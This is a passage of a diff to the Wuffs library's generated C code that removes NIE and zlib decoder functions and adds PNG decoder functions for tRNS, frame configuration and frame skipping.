self->private_impl.f_chunk_length = 0u; -+ while (v_i < v_n) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ self->private_data.f_src_palette[((4u * v_i) + 3u)] = t_2; -+ } -+ v_i += 1u; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } - -- if (self->private_impl.f_call_sequence > 64u) { -- return 1u; -+ goto ok; -+ ok: -+ self->private_impl.p_decode_trns = 0; -+ goto exit; - } -- return 0u; --} -- --// -------- func nie.decoder.restart_frame - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__restart_frame( -- wuffs_nie__decoder* self, -- uint64_t a_index, -- uint64_t a_io_position) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_trns = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_trns.v_i = v_i; -+ self->private_data.s_decode_trns.v_n = v_n; - -- if (self->private_impl.f_call_sequence < 32u) { -- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- } -- if ((a_index != 0u) || (a_io_position != 16u)) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- self->private_impl.f_call_sequence = 40u; -- return wuffs_base__make_status(NULL); --} - --// -------- func nie.decoder.set_report_metadata -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_nie__decoder__set_report_metadata( -- wuffs_nie__decoder* self, -- uint32_t a_fourcc, -- bool a_report) { -- return wuffs_base__make_empty_struct(); -+ return status; - } - --// -------- func nie.decoder.tell_me_more -+// -------- func png.decoder.decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__tell_me_more( -- wuffs_nie__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -+wuffs_png__decoder__decode_frame_config( -+ wuffs_png__decoder* self, -+ wuffs_base__frame_config* a_dst, - wuffs_base__io_buffer* a_src) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); -@@ -51808,354 +64965,485 @@ wuffs_nie__decoder__tell_me_more( - ? wuffs_base__error__disabled_by_previous_error - : wuffs_base__error__initialize_not_called); - } -- if (!a_dst || !a_src) { -+ if (!a_src) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 4)) { -+ (self->private_impl.active_coroutine != 2)) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } - self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- status = wuffs_base__make_status(wuffs_base__error__no_more_information); -- goto exit; -- -- goto ok; -- ok: -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -- --// -------- func nie.decoder.history_retain_length -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_nie__decoder__history_retain_length( -- const wuffs_nie__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func nie.decoder.workbuf_len -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_nie__decoder__workbuf_len( -- const wuffs_nie__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- -- return wuffs_base__utility__make_range_ii_u64(0u, 0u); --} -- --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) -- --// ---------------- Status Codes Implementations -- --const char wuffs_zlib__note__dictionary_required[] = "@zlib: dictionary required"; --const char wuffs_zlib__error__bad_checksum[] = "#zlib: bad checksum"; --const char wuffs_zlib__error__bad_compression_method[] = "#zlib: bad compression method"; --const char wuffs_zlib__error__bad_compression_window_size[] = "#zlib: bad compression window size"; --const char wuffs_zlib__error__bad_parity_check[] = "#zlib: bad parity check"; --const char wuffs_zlib__error__incorrect_dictionary[] = "#zlib: incorrect dictionary"; --const char wuffs_zlib__error__truncated_input[] = "#zlib: truncated input"; -- --// ---------------- Private Consts -- --#define WUFFS_ZLIB__QUIRKS_BASE 2113790976 -- --#define WUFFS_ZLIB__QUIRKS_COUNT 1 -- --// ---------------- Private Initializer Prototypes -- --// ---------------- Private Function Prototypes -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_zlib__decoder__do_transform_io( -- wuffs_zlib__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf); -- --// ---------------- VTables -- --const wuffs_base__io_transformer__func_ptrs --wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer = { -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_zlib__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_zlib__decoder__history_retain_length), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_zlib__decoder__set_quirk), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__slice_u8))(&wuffs_zlib__decoder__transform_io), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_zlib__decoder__workbuf_len), --}; -- --// ---------------- Initializer Implementations -- --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_zlib__decoder__initialize( -- wuffs_zlib__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -- } -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -- } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -- } -- } -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- { -- wuffs_base__status z = wuffs_adler32__hasher__initialize( -- &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); -- if (z.repr) { -- return z; -- } -- } -- { -- wuffs_base__status z = wuffs_adler32__hasher__initialize( -- &self->private_data.f_dict_id_hasher, sizeof(self->private_data.f_dict_id_hasher), WUFFS_VERSION, options); -- if (z.repr) { -- return z; -- } -- } -- { -- wuffs_base__status z = wuffs_deflate__decoder__initialize( -- &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); -- if (z.repr) { -- return z; -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_png__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } -- } -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -- wuffs_base__io_transformer__vtable_name; -- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -- (const void*)(&wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer); -- return wuffs_base__make_status(NULL); --} -- --wuffs_zlib__decoder* --wuffs_zlib__decoder__alloc(void) { -- wuffs_zlib__decoder* x = -- (wuffs_zlib__decoder*)(calloc(sizeof(wuffs_zlib__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_zlib__decoder__initialize( -- x, sizeof(wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -- } -- return x; --} -- --size_t --sizeof__wuffs_zlib__decoder(void) { -- return sizeof(wuffs_zlib__decoder); --} -- --// ---------------- Function Implementations -- --// -------- func zlib.decoder.dictionary_id -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_zlib__decoder__dictionary_id( -- const wuffs_zlib__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return self->private_impl.f_dict_id_want; --} - --// -------- func zlib.decoder.add_dictionary -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_zlib__decoder__add_dictionary( -- wuffs_zlib__decoder* self, -- wuffs_base__slice_u8 a_dict) { -- if (!self) { -- return wuffs_base__make_empty_struct(); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -+ ok: -+ self->private_impl.p_decode_frame_config = 0; -+ goto exit; - } - -- if (self->private_impl.f_header_complete) { -- self->private_impl.f_bad_call_sequence = true; -- } else { -- self->private_impl.f_dict_id_got = wuffs_adler32__hasher__update_u32(&self->private_data.f_dict_id_hasher, a_dict); -- wuffs_deflate__decoder__add_history(&self->private_data.f_flate, a_dict); -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; - } -- self->private_impl.f_got_dictionary = true; -- return wuffs_base__make_empty_struct(); -+ return status; - } - --// -------- func zlib.decoder.get_quirk -+// -------- func png.decoder.do_decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_zlib__decoder__get_quirk( -- const wuffs_zlib__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+static wuffs_base__status -+wuffs_png__decoder__do_decode_frame_config( -+ wuffs_png__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_checksum_have = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t v_key = 0; -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { -- return 1u; -- } else if (a_key >= 2113790976u) { -- v_key = (a_key - 2113790976u); -- if (v_key < 1u) { -- if (self->private_impl.f_quirks[v_key]) { -- return 1u; -+ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } else if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_png__decoder__do_decode_image_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); -+ goto exit; -+ } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_png__decoder__skip_frame(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ if (self->private_impl.f_metadata_fourcc != 0u) { -+ self->private_impl.f_call_sequence = 48u; -+ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -+ goto ok; -+ } -+ if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { -+ self->private_impl.f_frame_rect_x0 = self->private_impl.f_first_rect_x0; -+ self->private_impl.f_frame_rect_y0 = self->private_impl.f_first_rect_y0; -+ self->private_impl.f_frame_rect_x1 = self->private_impl.f_first_rect_x1; -+ self->private_impl.f_frame_rect_y1 = self->private_impl.f_first_rect_y1; -+ self->private_impl.f_frame_config_io_position = self->private_impl.f_first_config_io_position; -+ self->private_impl.f_frame_duration = self->private_impl.f_first_duration; -+ self->private_impl.f_frame_disposal = self->private_impl.f_first_disposal; -+ self->private_impl.f_frame_overwrite_instead_of_blend = self->private_impl.f_first_overwrite_instead_of_blend; -+ } else { -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_frame_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ } -+ self->private_impl.f_chunk_length = t_0; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_frame_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ self->private_impl.f_chunk_type = t_1; -+ } -+ if (self->private_impl.f_chunk_type == 1145980233u) { -+ if (self->private_impl.f_chunk_length != 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_frame_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ if (num_bits_2 == 24) { -+ t_2 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)) << 56; -+ } -+ } -+ v_checksum_have = t_2; -+ } -+ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != 2187346606u)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -+ goto exit; -+ } -+ self->private_impl.f_call_sequence = 96u; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } else if (self->private_impl.f_chunk_type == 1413571686u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } else if (self->private_impl.f_chunk_type == 1280598886u) { -+ self->private_impl.f_frame_config_io_position = ((uint64_t)(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) - 8u)); -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ status = wuffs_png__decoder__decode_fctl(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_data.s_do_decode_frame_config.scratch = 4u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ if (self->private_data.s_do_decode_frame_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_frame_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_frame_config.scratch; -+ break; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ status = wuffs_png__decoder__decode_other_chunk(self, a_src, true); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_metadata_fourcc != 0u) { -+ self->private_impl.f_call_sequence = 48u; -+ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -+ goto ok; -+ } -+ self->private_data.s_do_decode_frame_config.scratch = 4u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ if (self->private_data.s_do_decode_frame_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_frame_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_frame_config.scratch; -+ self->private_impl.f_chunk_length = 0u; - } - } -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ self->private_impl.f_frame_rect_x0, -+ self->private_impl.f_frame_rect_y0, -+ self->private_impl.f_frame_rect_x1, -+ self->private_impl.f_frame_rect_y1), -+ ((wuffs_base__flicks)(self->private_impl.f_frame_duration)), -+ ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)), -+ self->private_impl.f_frame_config_io_position, -+ self->private_impl.f_frame_disposal, -+ ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns), -+ self->private_impl.f_frame_overwrite_instead_of_blend, -+ 0u); -+ } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); -+ self->private_impl.f_call_sequence = 64u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame_config = 0; -+ goto exit; - } -- return 0u; --} - --// -------- func zlib.decoder.set_quirk -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_zlib__decoder__set_quirk( -- wuffs_zlib__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- if (self->private_impl.f_header_complete) { -- self->private_impl.f_bad_call_sequence = true; -- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- } else if (a_key == 1u) { -- self->private_impl.f_ignore_checksum = (a_value > 0u); -- return wuffs_base__make_status(NULL); -- } else if (a_key >= 2113790976u) { -- a_key -= 2113790976u; -- if (a_key < 1u) { -- self->private_impl.f_quirks[a_key] = (a_value > 0u); -- return wuffs_base__make_status(NULL); -- } -- } -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ return status; - } - --// -------- func zlib.decoder.history_retain_length -+// -------- func png.decoder.skip_frame - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_zlib__decoder__history_retain_length( -- const wuffs_zlib__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+static wuffs_base__status -+wuffs_png__decoder__skip_frame( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_seq_num = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } - -- return 0u; --} -+ uint32_t coro_susp_point = self->private_impl.p_skip_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --// -------- func zlib.decoder.workbuf_len -+ self->private_impl.f_chunk_type_array[0u] = 0u; -+ self->private_impl.f_chunk_type_array[1u] = 0u; -+ self->private_impl.f_chunk_type_array[2u] = 0u; -+ self->private_impl.f_chunk_type_array[3u] = 0u; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ continue; -+ } -+ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); -+ if (self->private_impl.f_chunk_type == 1413563465u) { -+ if (self->private_impl.f_chunk_type_array[0u] == 102u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_type_array[0u] = 73u; -+ self->private_impl.f_chunk_type_array[1u] = 68u; -+ self->private_impl.f_chunk_type_array[2u] = 65u; -+ self->private_impl.f_chunk_type_array[3u] = 84u; -+ } else if (self->private_impl.f_chunk_type == 1413571686u) { -+ if (self->private_impl.f_chunk_type_array[0u] == 73u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_type_array[0u] = 102u; -+ self->private_impl.f_chunk_type_array[1u] = 100u; -+ self->private_impl.f_chunk_type_array[2u] = 65u; -+ self->private_impl.f_chunk_type_array[3u] = 84u; -+ if (self->private_impl.f_chunk_length < 4u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length -= 4u; -+ iop_a_src += 8u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_skip_frame.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_skip_frame.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ } -+ v_seq_num = t_0; -+ } -+ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); -+ goto exit; -+ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -+ goto exit; -+ } -+ self->private_impl.f_next_animation_seq_num += 1u; -+ self->private_data.s_skip_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 4u); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = 